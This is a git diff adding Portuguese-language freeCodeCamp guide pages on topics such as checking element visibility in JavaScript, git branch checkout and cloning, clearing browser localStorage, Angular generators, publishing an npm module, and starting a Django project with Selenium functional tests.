+*   Criamos uma nova página de loja. Ele só tem links para a nossa campanha de camisetas agora, mas em breve teremos adesivos para laptop e outros equipamentos legais.
+
+## Notícias de Retirar Camper
+
+*   No ano passado, o Camper News foi um sucesso modesto. Mas também o nosso subreddit, que permite comentários, moderação e muitos outros recursos. Então estamos mudando para o Reddit para compartilhamento de notícias.
+*   Recomendamos criar uma conta do Reddit se você ainda não tiver uma e se [juntar ao nosso subreddit](https://www.reddit.com/r/freecodecamp) . Agora você pode compartilhar links com toda a nossa comunidade, bem como seus pensamentos e perguntas.
+*   Manteremos o Camper News ao vivo por um tempo, mas estamos removendo o link para ele do nosso menu de navegação e removendo o desafio que o introduziu.
+
+## Atualizando Desafios
+
+*   Muitos campistas pediram que criassemos um projeto mais fácil, com foco em HTML, para preceder a "Criar uma página da Web de portfólio pessoal". Então, criamos um novo projeto que pode ser concluído usando apenas HTML e Bootstrap chamado "Build a Tribute Page".
+*   Também riscalizamos nossos projetos front-end. Veja como eles estão agora estruturados:
+    *   Projetos básicos de front end
+        *   Construa uma página de homenagem
+        *   Criar uma página da Web de portfólio pessoal
+    *   Projetos de Front End Intermediários
+        *   Construa uma máquina de cotação aleatória
+        *   Mostrar o clima local
+        *   Construa um visualizador da Wikipedia
+        *   Use a API JSON do Twitch.tv
+    *   Projetos avançados de front end
+        *   Construa uma calculadora JavaScript
+        *   Construa um relógio Pomodoro
+        *   Construa um jogo Tic Tac Toe
+        *   Construa um jogo de Simon
+*   Você notará que removemos o projeto "Construa um Visualizador de Notícias da Camper", já que estamos aposentando a Camper News. Se você já concluiu esse desafio anteriormente, a "Página do Build a Tribute" já deve estar marcada como concluída para você no seu mapa.
+*   Além disso, para "Construir um jogo Tic Tac Toe", você não precisa mais torná-lo imbatível. (Você certamente pode, se quiser - [eis como](http://neverstopbuilding.com/minimax) . Embora fazer isso seja um exercício útil, escrever uma AI é uma saída do foco do projeto, que é o desenvolvimento do front end.
+*   Adicionamos três novos desafios opcionais que ajudam você a se juntar ao nosso:
+    *   [subreddit](https://reddit.com/r/freecodecamp)
+    *   [Publicação média](https://medium.freecodecamp.com)
+    *   [Canal Twitch.tv](https://twitch.tv/freecodecamp)
+
+## Em breve
+
+*   Vamos lançar nossos desafios espanhóis nos próximos dias.
+*   Planejamos lançar os desafios opcionais React, Sass e D3 nesta primavera. Mas não espere - você pode concluir os projetos com a ajuda da documentação oficial desses projetos - 16 campistas já fizeram exatamente isso.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/check-the-length-property-of-a-string-variable/index.md b/client/src/guide/portuguese/miscellaneous/check-the-length-property-of-a-string-variable/index.md
new file mode 100644
index 0000000000..31289420ae
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/check-the-length-property-of-a-string-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Check the Length Property of a String Variable
+localeTitle: Verifique a propriedade Length de uma variável de string
+---
+Estruturas de dados possuem propriedades. Por exemplo, as strings têm uma propriedade chamada `.length` que informa quantos caracteres estão na string.
+```
+lastNameLength = lastName.length; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/checking-for-hidden-elements/index.md b/client/src/guide/portuguese/miscellaneous/checking-for-hidden-elements/index.md
new file mode 100644
index 0000000000..e703780d8b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/checking-for-hidden-elements/index.md
@@ -0,0 +1,54 @@
+---
+title: Checking for Hidden Elements
+localeTitle: Verificando Elementos Ocultos
+---
+Há momentos em que você pode precisar verificar se um elemento está visível ou oculto na tela, para que você possa executar alguma ação nele, considerando seu estado. Eu estava procurando algumas soluções no Stack Overflow para tentar verificar se um elemento estava visível e não fiquei satisfeito com as respostas que recebi.
+
+Uma resposta foi usar a biblioteca jQuery e, em seguida, verificar se o elemento possui a pseudoclass de `:visible` usando este formato: `$(element).is(':visible')` . Isso funciona para elementos ocultos usando `display: none;` neles, mas não funciona em nenhum elemento cuja `visibility` esteja `hidden` . Também não funciona se o elemento pai for o único elemento que está oculto da exibição. Se qualquer elemento pai do elemento testado estiver oculto, usando `visibility` ou `display` , o elemento que está sendo testado retornará como visível, apesar de não estar visível na tela.
+
+## A solução
+
+Eu criei uma função JavaScript pura que resolve esse problema que não tem dependências e é uma solução compatível com vários navegadores. Esta função analisará o elemento primeiro para ver se suas propriedades de `display` ou `visibility` estão sendo mostradas como `none` ou `hidden` respectivamente. Então, se eles voltarem ao normal, ele verifica todos os elementos pai até o corpo do documento. Se um elemento pai do elemento que está sendo testado estiver oculto, isso significa que o elemento que está sendo testado não está visível no documento.
+
+[Aqui está um exemplo de CodePen que demonstra esse comportamento e até mostra a comparação sendo usada a solução jQuery e minha solução JavaScript pura](http://codepen.io/marcusparsons/pen/bpNqgY) . Observe no CodePen que mesmo que o elemento esteja claramente oculto, o uso do `.is(':visible')` do jQuery não é uma opção viável para realmente verificar qualquer elemento quanto à visibilidade.
+
+E aqui está a função que criei:
+```
+function isVisible (element) { 
+    //start with initial element to check visibility and display 
+    var el = document.querySelector(element); 
+    //display and visibility vary per browser and must be sought in different ways depending on the browser 
+    var t1 = el.currentStyle ? el.currentStyle.visibility : getComputedStyle(el, null).visibility; 
+    var t2 = el.currentStyle ? el.currentStyle.display : getComputedStyle(el, null).display; 
+    //if either of these are true, then the element is not visible 
+    if (t1 === "hidden" || t2 === "none") { 
+        return false; 
+    } 
+    //This regex is used to scan the parent nodes all the way up to the body element 
+    while (!(/body/i).test(el)) { 
+        //get the next parent node 
+        el = el.parentNode; 
+        //grab the values, if available, 
+        t1 = el.currentStyle ? el.currentStyle.visibility : getComputedStyle(el, null).visibility; 
+        t2 = el.currentStyle ? el.currentStyle.display : getComputedStyle(el, null).display; 
+        if (t1 === "hidden" || t2 === "none") { 
+            return false; 
+        } 
+    } 
+    //if all scans are not successful, then the element is visible 
+    return true; 
+ } 
+```
+
+E para usar a função, você só precisa chamá-la com uma string de consulta para selecionar o elemento a ser testado.
+```
+<body> 
+    <p style="visibility: hidden;" id="myP">My paragraph</p> 
+    <script type="text/javascript"> 
+        //include isVisible function 
+        alert('Is my paragraph visible? ' + isVisible('#myP')); 
+    </script> 
+ </body> 
+```
+
+E o alerta resultante será: `Is my paragraph visible? false`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/checking-if-the-element-is-currently-hidden/index.md b/client/src/guide/portuguese/miscellaneous/checking-if-the-element-is-currently-hidden/index.md
new file mode 100644
index 0000000000..30ed66a4f1
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/checking-if-the-element-is-currently-hidden/index.md
@@ -0,0 +1,18 @@
+---
+title: Checking if the Element Is Currently Hidden
+localeTitle: Verificando se o elemento está atualmente oculto
+---
+Se você precisa verificar o status de visibilidade de algum elemento na página, você pode fazer isso facilmente com a biblioteca jQuery com o bloco simples de código como o abaixo.
+```
+var display = ( jQuery('#someElement').is(':visible') ); 
+ var visibility = ( jQuery('#someElement').css('visibility') != 'hidden' ); 
+ var status = ( display && visibility ); 
+ console.log( status ); 
+```
+
+Portanto, se o elemento estiver atualmente visível na página, o **`console.log(status)`** retornará `true` e, em qualquer outro caso, retornará `false` . A declaração `false` seria retornada para estes dois casos:
+
+*   if elemento possui `display:none;`
+*   se o elemento tiver `visibility: hidden`
+
+e para verificações mais avançadas como esta: **é o elemento visível na viewport agora** eu recomendaria usar o [plugin jQuery onScreen](http://benpickles.github.io/onScreen/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/checkout-a-remote-branch-in-git/index.md b/client/src/guide/portuguese/miscellaneous/checkout-a-remote-branch-in-git/index.md
new file mode 100644
index 0000000000..c6a7efa21c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/checkout-a-remote-branch-in-git/index.md
@@ -0,0 +1,38 @@
+---
+title: Checkout a Remote Branch in Git
+localeTitle: Check-out de uma ramificação remota no Git
+---
+# Check-out de um fluxo de trabalho de filial remota
+
+Dependendo de quantos controles remotos estão presentes em seu repositório local, siga o fluxo apropriado.
+
+## Para reposições com um controle remoto:
+
+Se o seu repositório local está tendo apenas um controle remoto, por exemplo, apenas `origin` :
+```
+git remote -v 
+ origin  https://github.com/my_username/AwesomeRepo.git (fetch) 
+ origin  https://github.com/my_username/AwesomeRepo.git (push) 
+```
+
+Então você pode simplesmente fazer:
+
+`git fetch`
+
+`git checkout some_branch_name`
+
+## Para repos com múltiplos remotos:
+
+Se o seu repositório local está tendo vários controles remotos:
+```
+git remote -v 
+ origin      https://github.com/raisedadead/wiki.git (fetch) 
+ origin      https://github.com/raisedadead/wiki.git (push) 
+ upstream    https://github.com/FreeCodeCamp/wiki.git (fetch) 
+ upstream    https://github.com/FreeCodeCamp/wiki.git (push) 
+```
+
+Então você tem que especificar um controle remoto também:  
+`git fetch`  
+`git checkout -b some_branch_name <remote>/some_branch_name`  
+onde `<remote>` neste exemplo é `upstream` ou `origin` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md b/client/src/guide/portuguese/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md
new file mode 100644
index 0000000000..b1de7e202c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md
@@ -0,0 +1,47 @@
+---
+title: Clear Specific Values from Your Browser Local Storage
+localeTitle: Limpar valores específicos do armazenamento local do seu navegador
+---
+A remoção de valores específicos do armazenamento local do seu navegador resolverá muitos problemas relacionados ao travamento ou congelamento do navegador no FreeCodeCamp.
+
+Isso resolve, por exemplo, um problema comum com o navegador saindo na página de um desafio após salvar uma resposta com um loop infinito.
+
+Quando isso acontece, você deve excluir o valor em `localStorage` armazenando essa resposta.
+
+## No Chrome:
+
+*   No **freecodecamp.com** , abra suas ferramentas de desenvolvedor.
+    
+    *   Mais ferramentas> Ferramentas para desenvolvedores (ou `Ctrl` + `Shift` + `I` (Windows), `Cmd` + `Opt` + `I` (Mac))
+*   Navegue até a guia `Resources`
+    
+*   Expanda o item `Local Storage` no painel esquerdo
+    
+*   Selecione `http://www.freecodecamp.com`
+    
+*   Encontre o desafio que você deseja excluir dados no painel direito ![Encontrando uma chave nas ferramentas do desenvolvedor do localStorage Chrome](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8300d3dfcf8a07bc3c1f69e7dd730d99e353972d.png)
+    
+*   Clique com o botão direito no desafio desejado e selecione `Delete`
+    
+
+## No Firefox:
+
+*   Em **freecodecamp.com** , abra seu console da web com
+    
+    *   `Ctrl` + `Shift` + `K`
+*   De lá, usando diretamente o console:
+    
+    *   Digite `console.log(localStorage);` e pressione `Enter` .
+        
+    *   Clique no link `Storage` . ![Imprima o Objeto localStorage no console da web e mostre o Storage](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e3778d1c24e9da6fe506564405b5b1ebc11facc1.png)
+        
+    *   O painel **Armazenamento** aparecerá à direita.
+        
+    *   Filtre os resultados para encontrar o Algoritmo, o Projeto Front End ou o Desafio que está causando o problema.
+        
+    *   Quando localizado, passe o mouse sobre ele e clique no `x` à direita. ![Clique no x para excluir a entrada de valor.](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a309e8ec8d92301f3507001ca3a796009d0a00d8.png)
+        
+    *   Uma vez removido, verifique se o problema foi resolvido. Atualize ou feche e abra o navegador, se necessário.
+        
+
+**Nota:** Isso também pode ser feito com o [Storage Inspector](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector) , mas parece que o Firefox fica suspenso quando há muitos valores.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/cloning-a-specific-branch-in-git/index.md b/client/src/guide/portuguese/miscellaneous/cloning-a-specific-branch-in-git/index.md
new file mode 100644
index 0000000000..d8e9dc776b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/cloning-a-specific-branch-in-git/index.md
@@ -0,0 +1,19 @@
+---
+title: Cloning a Specific Branch in Git
+localeTitle: Clonando uma ramificação específica no Git
+---
+Para clonar uma ramificação, digite o seguinte no terminal:
+```
+git clone -b <branch> <remote_repo> 
+```
+
+Se você quiser apenas buscar o ramo especificado:
+```
+git clone -b <branch> --single-branch <remote_repo> 
+```
+
+Aqui está um exemplo de busca da ramificação de `staging` do FreeCodeCamp:
+```
+git clone -b staging https://github.com/FreeCodeCamp/FreeCodeCamp.git 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/cloning-all-remote-branches-in-git/index.md b/client/src/guide/portuguese/miscellaneous/cloning-all-remote-branches-in-git/index.md
new file mode 100644
index 0000000000..e6764fa05e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/cloning-all-remote-branches-in-git/index.md
@@ -0,0 +1,30 @@
+---
+title: Cloning All Remote Branches in Git
+localeTitle: Clonando todas as ramificações remotas no Git
+---
+Para clonar um repositório git remoto, digite o seguinte no terminal:
+
+> Nota: Certifique-se de estar em uma pasta raiz, por exemplo, `webdev` vez de uma pasta específica do projeto.
+```
+git clone <remote_repo> 
+ cd <remote_repo> 
+```
+
+Liste suas filiais usando estes comandos:
+```
+git branch // Lists local branches 
+ git branch -a // Lists local and remote branches 
+```
+
+Para fazer o checkout de um branch remoto localmente:
+```
+git checkout <branch> 
+```
+
+Aqui está um exemplo de busca da ramificação `master` remota do FreeCodeCamp:
+```
+git clone https://github.com/FreeCodeCamp/FreeCodeCamp.git 
+ cd FreeCodeCamp 
+ git checkout master 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/create-a-new-api-endpoint-in-angular/index.md b/client/src/guide/portuguese/miscellaneous/create-a-new-api-endpoint-in-angular/index.md
new file mode 100644
index 0000000000..d16f6a616e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/create-a-new-api-endpoint-in-angular/index.md
@@ -0,0 +1,7 @@
+---
+title: Create a New Api Endpoint in Angular
+localeTitle: Criar um novo ponto final de API em angular
+---
+> > yo angular-fullstack: endpoint whatsit
+
+Usando essa linha, você obtém o Yeoman para gerar automaticamente outro endpoint da API e um novo tipo de coleção para o seu banco de dados. Agora temos _coisas_ assim como _whatsits_ ! Sinta-se à vontade para abrir **/server/api/whatsit/whatsit.model.js** e definir o seu whatsit como quiser.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/create-a-new-route-in-angular/index.md b/client/src/guide/portuguese/miscellaneous/create-a-new-route-in-angular/index.md
new file mode 100644
index 0000000000..6c87a01c5a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/create-a-new-route-in-angular/index.md
@@ -0,0 +1,12 @@
+---
+title: Create a New Route in Angular
+localeTitle: Criar uma nova rota em angular
+---
+> > yo angular-fullstack: rota nova página
+
+Digitando o acima em sua linha de comando irá gerar uma **nova página /** rota para o seu aplicativo! Ele gera automaticamente todos os arquivos necessários dentro de sua pasta **/ client / app / newpage** , como sua pasta **/ client / app / main** , com um **newpage.controller.js** , **newpage.controller.spec.js** , **newpage.js** e **newpage. html** . Todos estes praticamente se comportam como os da rota **principal** . Se você está acessando o banco de dados no seu novo controlador, você vai querer adicionar _$ http_ à lista de dependências em **newpage.controller.js** da mesma forma que está incluído no **main.controller.js** :
+```
+angular.module('myApp') 
+  .controller('MainCtrl', function ($scope, $http) { ... 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/create-an-npm-module/index.md b/client/src/guide/portuguese/miscellaneous/create-an-npm-module/index.md
new file mode 100644
index 0000000000..6b66faf223
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/create-an-npm-module/index.md
@@ -0,0 +1,49 @@
+---
+title: Create an Npm Module
+localeTitle: Crie um módulo Npm
+---
+Um módulo NPM é um conjunto de funcionalidades Javascript agrupadas em um pacote distribuível. [O NPM](http://www.npmjs.com) mantém o registro de todos os pacotes disponíveis e também é a ferramenta usada para instalar pacotes de seu registro.
+
+A beleza do NPM é que você pode montar pacotes que outras pessoas criaram para criar algo novo, e alguém mais tarde poderia usar o pacote que você cria. Se você tem algum código que deseja compartilhar com o mundo, é fácil publicar um módulo no NPM.
+
+## Etapa 1: crie seu script
+
+Eu criei este utilitário simples como `index.js` :
+```
+var time = new Date().toTimeString(); 
+ console.log(time); 
+```
+
+## Etapa 2: criar informações do pacote
+
+O próximo passo é criar as informações para publicar com o seu pacote, armazenadas em `package.json` . O NPM fornece um assistente para facilitar a criação desse arquivo.
+
+Basta executar o `npm init` e responder as perguntas.
+
+Seu `package.json` deve ser algo como isto:
+```
+{ 
+  "name": "whattimeisit", 
+  "version": "1.0.0", 
+  "description": "accurate time retrieval", 
+  "main": "index.js", 
+  "author": "HoursAndMinutes", 
+  "license": "ISC" 
+ } 
+```
+
+Não se esqueça de incluir o link do repositório do GitHub se o código estiver no GitHub!
+
+## Etapa 3: criar uma conta de usuário no NPM
+
+Para publicar um pacote no NPM, você precisa ter uma conta registrada. Para fazer isso, execute o `npm adduser` . Você pode verificar a conta atualmente em uso com o `npm config ls` .
+
+## Etapa 4: publicar no NPM
+
+Antes de publicar seu pacote no NPM, verifique se o diretório contém os arquivos que você não deseja tornar públicos (por exemplo, senhas, chaves privadas, etc.). Você pode adicioná-los a um arquivo chamado `.npmignore` para excluí-los da publicação de pacotes. A NPM também honrará `.gitignore` se você tiver isso.
+
+Depois de finalizar o conteúdo do pacote, execute `npm publish` . Você pode confirmar os detalhes do seu pacote em [https://npmjs.com/package/yourpackagename](https://npmjs.com/package/yourpackagename) .
+
+### Mais Informações:
+
+Criando os módulos do Node.js [npm](https://docs.npmjs.com/getting-started/creating-node-modules)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md b/client/src/guide/portuguese/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md
new file mode 100644
index 0000000000..8037ab01e6
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md
@@ -0,0 +1,11 @@
+---
+title: Create and Upload and Link Animated Gif Image
+localeTitle: Criar e Carregar e Vincular Imagem Gif Animada
+---
+1.  Baixe o [LICEcap](http://www.cockos.com/licecap/) e instale.
+2.  Abra e comece a gravar para criar um GIF animado.
+3.  Carregue o arquivo `.gif` no [EZGIF.com](http://ezgif.com/optimize) .
+    *   Cortar, redimensionar e otimizar quantas vezes ou conforme necessário.
+4.  Faça o download do GIF animado.
+5.  Envie a imagem para [imgur.com](http://imgur.com) .
+6.  Link image usando `![image title](https://i.imgur.com/RqgGcf5.gif)` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/creating-a-new-directive-in-angular/index.md b/client/src/guide/portuguese/miscellaneous/creating-a-new-directive-in-angular/index.md
new file mode 100644
index 0000000000..200da070a0
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/creating-a-new-directive-in-angular/index.md
@@ -0,0 +1,14 @@
+---
+title: Creating a New Directive in Angular
+localeTitle: Criando uma nova diretiva em Angular
+---
+Você se lembra de diretrizes personalizadas da formação com curso angular? Você também pode criar uma diretiva personalizada!
+```
+>> yo angular-fullstack:directive newdirective 
+```
+
+E se você precisar de um modelo html para sua diretiva personalizada (talvez você esteja apenas fazendo uma diretiva para limpar seu código HTML), diga para fazer um arquivo html quando ele solicitar e você poderá incluir o conteúdo desse modelo em qualquer lugar do seu aplicativo com:
+```
+<newdirective></newdirective> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/creating-a-new-github-issue/index.md b/client/src/guide/portuguese/miscellaneous/creating-a-new-github-issue/index.md
new file mode 100644
index 0000000000..b22fd8aa7c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/creating-a-new-github-issue/index.md
@@ -0,0 +1,26 @@
+---
+title: Creating a New Github Issue
+localeTitle: Criando um novo problema no Github
+---
+Antes de enviar um problema, tente [pesquisar seu problema no Github](https://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390)
+
+Elaborar um bom problema tornará muito mais fácil para a equipe de desenvolvimento replicar e resolver seu problema. Siga estas etapas para fazer isso da maneira certa:
+
+1.  Vá para a página de [problemas](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) do [Github](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) do FreeCodeCamp e clique em `New Issue` .
+    
+2.  **Tem um título útil**
+    
+    *   Escreva um título significativo que descreva o problema. Alguns bons exemplos são Fazer `Logging in from the News and Field Guide pages doesn't redirect properly (using e-mail)` e `Typo: "for" instead of "while" loop` ; exemplos ruins incluem `A bug, HELP!!!11` e `I found this bug in a Challenge` .
+        
+    *   Mantenha o título relativamente curto, a descrição é para mais informações. Um exemplo é encurtar nomes longos de Desafio, então ao invés de escrever `Test case bug in 'Challenge: Check Radio Buttons and Checkboxes by Default'` , você pode querer escrever um `Test case bug in 'Radio Buttons' Challenge` .
+        
+3.  No corpo, **forneça um link** para a página em que você encontrou esse problema.
+    
+4.  **Descreva o problema** e **forneça etapas** para que um desenvolvedor possa tentar replicar o problema. Inclua seu sistema operacional e versão do navegador.
+    
+    *   Ao referenciar outros problemas ou solicitações de pull, basta escrever #issue / pr-number.
+5.  Cole em qualquer código relevante usando [formatação de código](https://forum.freecodecamp.com/t/markdown-code-formatting/18391) adequada
+    
+6.  **Tire uma captura** de **tela** do problema e inclua-a na postagem.
+    
+7.  Clique em `Submit New Issue` e pronto! Você será automaticamente inscrito em notificações para atualizações ou comentários futuros.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/creating-a-project-with-django/index.md b/client/src/guide/portuguese/miscellaneous/creating-a-project-with-django/index.md
new file mode 100644
index 0000000000..8ab432ff19
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/creating-a-project-with-django/index.md
@@ -0,0 +1,229 @@
+---
+title: Creating a Project with Django
+localeTitle: Criando um projeto com o Django
+---
+Agora que sabemos como criar ambientes virtuais e usar pip, podemos começar a construir nosso projeto. Neste artigo, vamos criar nosso primeiro projeto Django, escrever testes e iniciar nosso servidor de desenvolvimento.
+
+## Criando o ambiente virtual
+
+Primeiro, vamos criar um novo ambiente virtual para este projeto. (Se você ainda não o fez, desative o virtualenv anterior digitando `deactivate` no terminal). Para mais informações sobre ambientes virtuais e como usá-los, visite esta página .
+
+Navegue até o diretório em que você deseja o projeto Django e digite o seguinte no terminal:
+```
+mkvirtualenv taskplanner --python=/usr/bin/python3 
+```
+
+Você pode ter que mudar o caminho do Python se ele for diferente do que está acima.
+
+Agora, o shell da linha de comando deve se parecer abaixo, indicando que você está em um ambiente virtual.
+```
+(taskplanner)<a href='https://sites.google.com/a/chromium.org/chromedriver/downloads' target='_blank' rel='nofollow'>munsterberg@Lenovo ~/workspace] $ 
+```
+
+Se não parecer assim, basta digitar:
+```
+workon taskplanner 
+```
+
+Agora podemos instalar o Django:
+```
+pip install Django 
+```
+
+## Crie o nosso projeto Django
+
+Com o Django instalado, podemos criar nosso projeto:
+```
+django-admin.py startproject taskplanner 
+```
+
+Em seguida, navegue até nosso novo projeto digitando:
+```
+cd taskplanner 
+```
+
+Antes de fazermos qualquer coisa, vamos configurar este diretório como nosso diretório de trabalho usando virtualenvwrapper:
+```
+setvirtualenvproject 
+```
+
+**Nota** : Para obter uma lista de comandos virtualenvwrapper, digite `virtualenvwrapper` no seu terminal.
+
+Agora, quando estamos em nosso ambiente virtual, podemos digitar `cdproject` para navegar diretamente para nosso diretório de trabalho.
+
+O diretório do seu projeto deve ser algo como isto:
+```
+taskplanner // our main working directory 
+ |--- manage.py // similar to the django-admin script, you will see this used a 
+               // lot throughout our project 
+ |--- taskplanner 
+    |--- __init__.py // this just tells python to treat this directory as a package 
+    |--- settings.py // main configuration file for our project 
+    |--- urls.py // we will use this to configure urls 
+    |--- wsgi.py // this is used for deploying our project to a production server 
+```
+
+## Teste funcional
+
+O desenvolvimento orientado a testes é uma prática recomendada amplamente usada no desenvolvimento de software. Bascialmente, queremos escrever um teste primeiro que esteja fadado a falhar e, em seguida, escreva a menor quantidade possível de código para passar no teste. Com o Django, nosso objetivo é escrever tanto testes funcionais (também conhecidos como testes de integração, testes de ponta a ponta, etc.), quanto testes de unidade ao longo do desenvolvimento. Não se preocupe, testar não é tão difícil quanto parece!
+
+Mas primeiro, precisamos criar um novo ambiente virtual dedicado ao teste. Abra uma nova aba no seu terminal, navegue até o diretório do projeto do seu planejador de tarefas e digite:
+```
+mkvirtualenv taskplanner_test --python=/usr/bin/python3 
+```
+
+Agora você deve ter 2 guias abertas em seu terminal, uma no ambiente virtual (planejador de tarefas) e a outra no ambiente virtual (taskplanner\_test).
+
+Se você digitar `pip freeze` em nosso novo ambiente de teste (taskplanner\_test), você notará que nada aparece. Isso porque ainda precisamos instalar qualquer coisa em nosso novo ambiente.
+
+Então vamos em frente e instalar o Django primeiro em nosso ambiente de teste (taskplanner\_test):
+```
+pip install Django 
+```
+
+Para criar nossos testes funcionais, vamos precisar de algumas coisas. Primeiro, precisamos ter o navegador Firefox instalado em nossa máquina. Se você não tem o Firefox, instale isso agora.
+
+**Sidenote** : você pode usar o Chrome para testes de integração, mas é necessário fazer o download do driver [aqui](https://sites.google.com/a/chromium.org/chromedriver/downloads) e seguir [essa pergunta de estouro de pilha](http://stackoverflow.com/questions/13724778/how-to-run-selenium-webdriver-test-cases-in-chrome) . O Firefox teve um desempenho historicamente melhor que o chrome ao executar testes de integração, o que é uma consideração muito importante, já que, em comparação com os testes de unidade, os testes de integração são extremamente lentos.
+
+Isso ocorre porque os testes de integração estão testando **todo o** sistema, em vez de 'unidades' (pequenos componentes). No mundo real, às vezes é melhor evitar testes de integração por causa do longo tempo de desenvolvimento para criá-los, tempo de execução lento, erros ambíguos e outras razões que você descobriria a tempo.
+
+No entanto, eles ainda valem a pena quando desenvolvemos um aplicativo do mundo real e podem ser muito úteis em termos de confiabilidade, apesar das desvantagens do desempenho.
+
+Em seguida, precisamos instalar um pacote chamado [Selenium](http://selenium.googlecode.com/svn/trunk/docs/api/py/index.html) . Este pacote nos fornecerá um WebDriver para que possamos controlar um navegador com nossos testes. O selênio é geralmente usado para automatizar seu navegador.
+```
+pip install selenium 
+```
+
+Agora que temos isso instalado, precisaremos de um diretório para criar nossos testes:
+```
+mkdir functional_tests 
+```
+
+No diretório do `taskplanner` , você deve ver o seguinte:
+```
+taskplanner 
+ |-- functional_tests 
+ |--- manage.py 
+ |--- taskplanner 
+    ... 
+```
+
+Agora precisamos criar alguns arquivos em nossa pasta `functional_tests` . Nós iremos criar um arquivo `__init__.py` (isto irá dizer ao python para tratar `functional_tests` como um pacote), e um arquivo `test_all_users.py` para conter nossos testes.
+
+Vamos fazer isso agora:
+```
+touch functional_tests/__init__.py 
+ touch functional_tests/test_all_users.py 
+```
+
+**Sidenote** : `__init__.py` é quase sempre um arquivo vazio. Para mais informações sobre o que é usado, veja [esta resposta do stackoverflow.](http://stackoverflow.com/questions/448271/what-is-init-py-for)
+
+Podemos finalmente começar a escrever nosso primeiro teste funcional! Testes funcionais são para testar partes da funcionalidade em nosso aplicativo da web. O TDD com Python descreve testes funcionais como "como o aplicativo funciona do ponto de vista do usuário".
+
+Então vamos abrir o arquivo `test_all_users.py` em nosso editor de texto. Primeiro, queremos importar o webdriver do selenium, e para tornar isso muito mais fácil, o Django fornece algo conhecido como StaticLiveServerTestCase para testes ao vivo. Vamos importar os dois agora:
+```
+from selenium import webdriver 
+ from django.contrib.staticfiles.testing import StaticLiveServerTestCase 
+```
+
+Como estamos testando da perspectiva do usuário, vamos nomear esses testes como NewVisitorTest. Adicione o seguinte:
+```
+class NewVisitorTest(StaticLiveServerTestCase): 
+    def setUp(self): 
+        self.browser = webdriver.Firefox() 
+        self.browser.implicitly_wait(2) 
+ 
+    def tearDown(self): 
+        self.browser.quit() 
+```
+
+Primeiro, criamos uma classe StaticLiveServerTestCase denominada NewVisitorTest, isso conterá nossos testes que queremos executar para um novo visitante. Então, temos dois métodos chamados setUp e tearDown. O método setUp é inicializado quando executamos nossos testes. Então, para cada teste que executamos, abrimos o Firefox e esperamos 2 segundos para que a página seja carregada. O tearDown é executado após o término de cada teste. Esse método fecha o navegador para nós após cada teste.
+
+Agora podemos escrever nosso primeiro teste e abrir e fechar o Firefox automaticamente para nós. Vamos escrever nosso teste agora abaixo do método tearDown.
+```
+    def test_home_title(self): 
+        self.browser.get('http://localhost:8000') 
+        self.assertIn('Welcome to Django', self.browser.title) 
+```
+
+Nosso primeiro teste, que emocionante! Vamos andar por isso. Todos os testes que queremos criar devem começar com "teste". Por exemplo, se eu quisesse criar um teste para o meu css, eu chamaria o método `test_h2_css` . Então, aqui, `test_home_title` o teste `test_home_title` . Isso é bastante auto-explicativo, o que é exatamente o que queremos para nossos testes. O método primeiro traz o Firefox para a url `http://localhost:8000` , e então verifica se 'Welcome to Django' está no título das tags head html.
+
+Vamos executar este teste agora e ver o que acontece:
+```
+python manage.py test functional_tests 
+```
+
+Primeiro, o que exatamente estamos digitando aqui? O script manage.py nos fornece algo chamado 'teste', usaremos isso para executar todos os nossos testes. Aqui estamos executando em nosso pacote `functional_tests` que criamos com o arquivo `__init__.py` .
+
+Depois de executar isso, você deve ver algo como o seguinte no seu terminal:
+```
+F 
+ ====================================================================== 
+ FAIL: test_home_title (functional_tests.test_all_users.NewVisitorTest) 
+ ---------------------------------------------------------------------- 
+ Traceback (most recent call last): 
+  File "/Users/username/url/to/project/taskplanner/functional_tests/test_all_users.py", line 15, in test_home_title 
+    self.assertIn('Welcome to Django', self.browser.title) 
+ AssertionError: 'Welcome to Django' not found in 'Problem loading page' 
+ 
+ ---------------------------------------------------------------------- 
+ Ran 1 test in 4.524s 
+ 
+ FAILED (failures=1) 
+```
+
